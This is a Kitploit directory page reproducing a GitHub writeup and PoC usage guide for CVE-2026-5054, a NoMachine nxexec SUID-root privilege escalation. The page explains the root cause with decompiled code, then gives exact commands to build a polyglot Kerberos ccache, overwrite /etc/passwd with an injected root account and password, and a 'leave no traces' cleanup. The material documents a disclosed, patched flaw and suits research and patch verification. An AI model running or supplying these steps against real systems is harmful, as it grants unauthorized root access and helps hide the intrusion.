Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5054_NoMachine_LPE — Writeup and Python PoC for CVE-2026-5054, a NoMachine nxexec SUID-root local privilege escalation via KRB5CCNAME polyglot ccache overwriting /etc/passwd. | Kitploit
Tools/GitHubGitHub/do4choo/cve-2026-5054_nomachine_lpe
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPapers & Research
GitHubdo4choo/cve-2026-5054_nomachine_lpe

CVE-2026-5054_NoMachine_LPE

Writeup and Python PoC for CVE-2026-5054, a NoMachine nxexec SUID-root local privilege escalation via KRB5CCNAME polyglot ccache overwriting /etc/passwd.

Share
View Repository
123 days agoNot yet reviewed

NoMachine Local Privilege Escalation (CVE-2026-5054)

Vulnerability Details

  • CVE ID: CVE-2026-5054
  • ZDI Advisory: ZDI-26-248
  • CVSS Score: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
  • Vendor ID: TR02X11711
  • Affected Versions: NoMachine <= 9.2.18 (Tested on Ubuntu 25.10)
  • Fixed Version: NoMachine 9.4.14

Overview

A logic flaw in the NoMachine SUID-root binary (nxexec) allows an unprivileged local user to escalate privileges to root. The binary insecurely handles user-controlled environment variables (KRB5CCNAME) and command-line arguments, resulting in an arbitrary file overwrite vulnerability.

By leveraging a crafted polyglot Kerberos ccache file, an attacker can overwrite /etc/passwd and inject a malicious root user.

Root Cause

The vulnerability exists within the RedelegateKerberosTicketMit() function in the nxexec binary. The function reads the environment variable KRB5CCNAME as the source Kerberos credential cache, while the username and dest_cache are passed as attacker-controlled arguments.

int RedelegateKerberosTicketMit(char *username, char *dest_cache) {
    ...
    logger("RedelegateKerberosTicketMit: Username is %s.\n", username);
    logger("RedelegateKerberosTicketMit: Destination cache is %s.\n", dest_cache);
    
    pcVar2 = getenv("KRB5CCNAME"); // Attacker controlled source file
    if (pcVar2 == (char *)0x0) {
        logger("RedelegateKerberosTicketMit: ERROR! Kerberos source cache not passed.\n");
        return -1;
    }

The function executes without validating that any of the paths refer to legitimate or safe locations. It attempts to reconstruct and validate the Kerberos cache:

iVar1 = (*krb5_cc_get_principal)(context, local_c0, &local_b0);

If the file passes validation as a valid Kerberos ccache file, it proceeds to copy the file to the user-controlled destination (dest_cache) as root:

iVar1 = (*krb5_cc_copy_creds)(context, local_b8, local_b0);

Exploitation (The Polyglot Bypass)

The only limitation is that the source file must be a valid Kerberos ccache file for krb5_cc_get_principal to succeed.

To bypass this, poc.py creates a polyglot file. It writes a valid ccache header (0x0504) and injects the original contents of /etc/passwd—along with a newly created root user—directly into the Kerberos principal component.

When krb5_cc_copy_creds copies this crafted cache over /etc/passwd, the Linux OS ignores the binary garbage at the top of the file and successfully parses the injected plain-text root user.

Usage

  1. Run the Python PoC to generate the krb5cc_POC payload and backup the current /etc/passwd.
python3 poc.py
  1. Execute the vulnerable SUID binary, pointing it to the payload and setting the destination to /etc/passwd.
KRB5CCNAME=krb5cc_POC /usr/NX/bin/nxexec --user root --gssserver --gssredelegate /etc/passwd
  1. Switch to the newly injected root user.
su r00t_POC_NX
# Password is: NX_PRIVESC123

Cleanup

Leave no traces behind by restoring the original state:

cp /tmp/passwd.bak /etc/passwd
chmod 644 /etc/passwd
rm /tmp/passwd.bak

Timeline

  • 2026-02-06 - Vulnerability reported to vendor via Zero Day Initiative.
  • 2026-03-26 - NoMachine released patch (Version 9.4.14).
  • 2026-03-30 - Coordinated public release of advisory.

References

  • ZDI-26-248 Advisory
  • NoMachine Release Notes (SU03X00271)
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →